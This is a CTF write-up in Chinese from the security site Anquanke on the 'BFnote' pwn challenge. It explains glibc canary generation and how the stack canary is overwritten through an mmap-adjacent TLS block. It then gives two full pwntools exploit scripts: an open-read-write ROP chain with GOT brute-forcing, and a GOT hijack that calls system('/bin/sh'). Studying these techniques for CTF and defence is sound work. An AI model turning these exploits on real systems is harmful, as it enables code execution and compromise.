文章首发于安全客 ,本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/199540
安全客 – 有思想的安全新媒体

0x01 前言

在这次比赛中,有一些题还是很有亮点的,也是在比赛中学到了一些新知识,特此记录~

0x02 FirstDay_BFnote

本题由5k1l@W&M咲夜南梦@W&M提供了思路提示,在此表示感谢~

题目信息

image-20200222095421826

image-20200222095520615

题目流程较为明确,在Description和postscript处存在明显的栈溢出,但是题目开启了Canary保护导致栈溢出较难利用,程序接下来虽然产生了heap操作,但是因为没有free,且没有重复操作,导致heap几乎无法利用。

进一步可以看出,程序在Line 24进行了判断以保证i满足i <= size - 0x20防止越界操作。但是!接下来读取note的内容时,程序却使用了read(0, ¬ebook[title_size + 0x10], size - title_size - 0x10);。也就是说,此处并没有使用安全的i作为下标,于是存在一个越界写。

Canary 绕过

Canary实现

canary的实现分为两部分, gcc编译时选择canary的插入位置, 以及生成含有canary的汇编代码, glibc产生实际的canary值, 以及提供错误捕捉函数和报错函数. 也就是gcc使用glibc提供的组件, gcc本身并不定义. 这样会让canary的值会是一个运行时才动态知道的值, 而不能通过查看静态的bianry得到。

此处我们重点研究glibc部分的实现:

首先是/Glibc-2.23/debug/stack_chk_fail.c

明显可以看出关于函数退出时的定义:

image-20200222111220614

接下来来看看Glibc是如何生成Canary值的,首先给出调用栈:

#0  security_init () at rtld.c:854 
#1  dl_main () at rtld.c:1818 //相当于glibc/dynamic-linker的main
#2  _dl_sysdep_start () at ../elf/dl-sysdep.c:249
#3  _dl_start_final () at rtld.c:331
#4  _dl_start () at rtld.c:557
#5  _start () from /lib/ld-linux.so.2// glibc/dynamic-linker入口

可以看出,主函数的逻辑还是很简单的,

image-20200222111650458

其实_dl_random的值在进入这个函数的时候就已经由kernel写入了. 也就是说glibc直接使用了_dl_random的值并没有给赋值, 进入下面的函数会看到其实如果不是采用TLS这种模式支持, glibc是可以自己产生随机数的. 但是做为普遍情况来说, _dl_random就是由kernel写入的. 所以_dl_setup_stack_chk_guard()的行为就是将_dl_random的最后一个字节设置为0x00。

接下来,如果glibc中定义了THREAD_SET_STACK_GUARD则canary会被放在tls中,如果THREAD_SET_STACK_GUARD未定义则canary会被放在.bss中

一般来说,程序会启用TLS结构体机制,这会导致程序进入宏定义的第一部分。

image-20200222113416813

image-20200222113847627

接下来的逻辑暂时没有跟进的需要,功能是将canary的值加入TLS结构体,那么TLS结构体是如何生成的呢。

生成TLS结构体的函数位于glibc-2.23/elf/dl-tls.c

image-20200222121149724

可以看到,程序事实上调用了__libc_memalign函数来分配内存,而__libc_memalign函数最终事实上调用的是mmap函数

劫持TLS结构体

事实上,我们如果能够改写TLS结构体的内容,我们就能够直接覆盖Canary!

而刚刚说过,TLS结构体使用的是mmap函数分配的,如果我们能够直接使用mmap分配一个Chunk,就可以分配到和TLS结构体相邻的位置。而对于malloc函数来说,如果size足够大就能直接通过mmap分配内存给chunk!

我们一般设置size为0x21000或以上。

此处payload为:

sh.recvuntil('\nGive your notebook size : ')
sh.sendline(str(int(0x24000)))

覆盖TLS中的Canary内容

此处我们需要计算出TLS结构体中Canary和我们可写起始地址的距离,我们通过调试计算,

首先在0x080488C9处下断点。

image-20200222122924335

可以看到,栈顶的0xf7db8008就是我们的note_book指针指向位置

image-20200222123120278

然后使用search命令可以快速定位TLS中的canary值位置。

image-20200222123315492

可以计算偏移为0x2570C

那么我们可以将title_size设置为0x2570C

sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))

那么接下来向note写值时,程序将会向notebook[title_size + 0x10]0xf7db8008 + 0x2570C - 0x10 + 0x10处写值。

sh.recvuntil('invalid ! please re-enter :\n')
sh.sendline(str(int(0x10)))
sh.recvuntil('\nGive your title : ')
sh.sendline('\x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)

Canary Bypass 验证

sh.recvuntil('\nGive your description : ')
sh.sendline('A' * 0x32 + 'AAAA' + p32(0))
sh.recvuntil('Give your postscript : ')
sh.sendline('Check')
sh.recvuntil('\nGive your notebook size : ')
sh.sendline(str(int(0x24000)))
sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))
sh.recvuntil('invalid ! please re-enter :\n')
sh.sendline(str(int(0x10)))
sh.recvuntil('\nGive your title : ')
sh.sendline('\x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)

image-20200222131019598

可以看到,Canary检查已经通过。

构造ROP链——思路一

接下来我们发现程序中没有合适的泄露函数以供我们leak libc。

⚠️:fwrite和fprintf都需要传入stdout的真实地址,而非存储stdout的地址。

那么,我们需要换一个思路来完成ROP构造,此时我们考虑使用Open-Read-Write来完成攻击。

但是很明显程序中没有fopen函数以供我们使用,我们考虑使用爆破的思路,但是使用symbols查看时,发现fopenfwrite相距很远,无法构成爆破条件。

2066C2E812A177CF31A308CEA72B9296

但是在实际调试时发现地址出现了很大的变化!

9D083A5FEE9C54302AA97D88520DB888

经过查看libc内部符号发现,libc内居然存在两个fopen符号

7E795961DDE698DA2298B6AF60F197F5

Pwntools中的elf.symbols明显属于使用了2.0版本的fopen。

这里发生的是glibc动态链接器支持符号版本控制,glibc使用它。 它从glibc 2.1导出一个版本的fopen ,从glibc 2.0导出一个具有不同接口的向后兼容版本。

那么我们就可以完成爆破脚本的编写了。

Final Exploit——思路一

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

BFnote=ELF('./BFnote', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./BFnote")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

if __name__ == "__main__":
    sh = get_sh()
    ppp_ret  = 0x080489d9
    pp__ret  = 0x080489da
    flag_st  = 0x0804A060
    read_md  = 0x0804A068

    payload  = '/flag\x00\x00\x00'
    payload += 'r\x00\x00\x00\x00\x00\x00\x00'
    payload  = payload.ljust(0x400,'\x00')

    payload += p32(BFnote.plt['read'])
    payload += p32(ppp_ret)
    payload += p32(0)                                  # fd
    payload += p32(BFnote.got['fwrite'])               # buf
    payload += p32(2)                                  # size

    payload += p32(BFnote.plt['fwrite'])
    payload += p32(pp__ret)
    payload += p32(flag_st)                            # file name
    payload += p32(read_md)                            # open mode

    payload += p32(BFnote.plt['read'])
    payload += p32(ppp_ret)
    payload += p32(3)                                  # fd
    payload += p32(flag_st + 0x40)                     # buf
    payload += p32(0x40)                               # size

    payload += p32(BFnote.plt['read'])
    payload += p32(ppp_ret)
    payload += p32(0)                                  # fd
    payload += p32(BFnote.got['read'])                 # buf
    payload += p32(1)                                  # size

    payload += p32(BFnote.plt['read'])
    payload += p32(ppp_ret)
    payload += p32(1)                                  # fd
    payload += p32(flag_st + 0x40)                     # buf
    payload += p32(0x40)                               # size
    sh.recvuntil('\nGive your description : ')
    sh.sendline('A' * 0x32 + 'AAAA' + p32(0) + p32(0x804A460 + 4))
    sh.recvuntil('Give your postscript : ')
    sh.sendline(payload)
    sh.recvuntil('\nGive your notebook size : ')
    sh.sendline(str(int(0x24000)))
    sh.recvuntil('Give your title size : ')
    sh.sendline(str(int(0x2570C - 0x10)))
    sh.recvuntil('invalid ! please re-enter :\n')
    sh.sendline(str(int(0x10)))
    sh.recvuntil('\nGive your title : ')
    sh.sendline('\x00' * 0xF)
    sh.recvuntil('Give your note : ')
    sh.send('A' * 4)

    raw_input('>')
    sh.send(p16((sh.libc.address+0x5e400) & 0xffff))

    raw_input('>')
    sh.send('\x70')

    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

⚠️:sh.libc.address在remote模式下不可用,需要写死后两个字节,1/16的运行成功几率。

构造ROP链——思路二

ROPgadget中,我们看到了这样的gadget

image-20200223132920729

然而我们又能通过pop ebp这个gadget直接控制ebp的值,那么我们就可以做到一个有限的任意地址写。

image-20200223133830216

可以看到,程序中和system离得最近,且小于system的函数是exit(),但是exit()函数未曾调用过,因此延迟绑定还没有生效。

那么我们可以首先控制ebp为atol@GOT + 1 + 0x17fA8b40

然后执行0x3AD - 0x2d2 = 0xDB次的inc dword ptr [ebp - 0x17fa8b40] ; ret 0这相当于是对atol@GOT做了+0xDB00操作,然后在调用readatol@GOT低位写入1字节,即可成功劫持atol函数的GOT表地址。

Final Exploit——思路二

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

BFnote=ELF('./BFnote', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./BFnote")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address+offset)))
    return return_address+offset

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

if __name__ == "__main__":
    sh = get_sh()
    p___ret  = 0x080489db
    pp__ret  = 0x080489da
    ppp_ret  = 0x080489d9
    binsh_a  = 0x0804A060
    read_md  = 0x0804A068

    payload  = '/bin/sh\x00'
    payload  = payload.ljust(0x200,'\x00')

    payload += p32(p___ret)
    payload += p32(BFnote.got['atol'] + 1 + 0x17fA8b40)

    payload += p32(0x08048434) * 0xDB

    payload += p32(BFnote.plt['read'])
    payload += p32(ppp_ret)
    payload += p32(0)                                  # fd
    payload += p32(BFnote.got['atol'])                 # buf
    payload += p32(1)                                  # size

    payload += p32(BFnote.plt['atol'])
    payload += p32(p___ret)
    payload += p32(binsh_a)                            

    sh.recvuntil('\nGive your description : ')
    sh.sendline('A' * 0x32 + 'AAAA' + p32(0) + p32(0x804A260 + 4))
    sh.recvuntil('Give your postscript : ')
    sh.sendline(payload)
    sh.recvuntil('\nGive your notebook size : ')
    sh.sendline(str(int(0x24000)))
    sh.recvuntil('Give your title size : ')
    sh.sendline(str(int(0x2570C - 0x10)))
    sh.recvuntil('invalid ! please re-enter :\n')
    sh.sendline(str(int(0x10)))
    sh.recvuntil('\nGive your title : ')
    sh.sendline('\x00' * 0xF)
    sh.recvuntil('Give your note : ')
    sh.send('A' * 4)

    raw_input('>')
    sh.send('\xA0')

    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注